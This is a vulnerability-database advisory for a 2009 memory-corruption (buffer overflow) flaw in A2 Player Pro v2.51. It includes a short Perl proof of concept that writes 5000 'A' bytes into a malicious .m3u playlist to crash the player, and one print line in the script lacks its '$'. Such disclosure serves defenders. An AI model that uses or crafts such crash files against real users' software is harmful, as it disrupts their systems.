A vulnerability classified as problematic has been found in A2 Player Pro v2.51. Affected is an unknown part. The manipulation with an unknown input leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on confidentiality, integrity, and availability.

The bug was discovered 07/13/2009. The weakness was published 07/13/2009 by Pim J.F. Campers as VL-ID 2 as not defined advisory (Website). The advisory is shared for download at vulnerability-lab.com. The attack needs to be approached locally. Technical details are unknown but a public exploit is available.

After immediately, there has been an exploit disclosed. The exploit is shared for download at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

my $sploitfile="x4lt.m3u";
print " [+] Preparing payload\n";
my $junk = "A" x 5000;
my $payload = $junk;
print " [+] Writing payload to file\n";
open(sploitf,">$sploitfile");
print sploitf $payload;
close(sploitf);
print " [+] PoC file " . sploitfile . " created\n";
print " [+] Wrote " . length($payload) . " bytes\n";

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Vendor

• A2

Name

• Player Pro

Version

• v2.51

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Discussion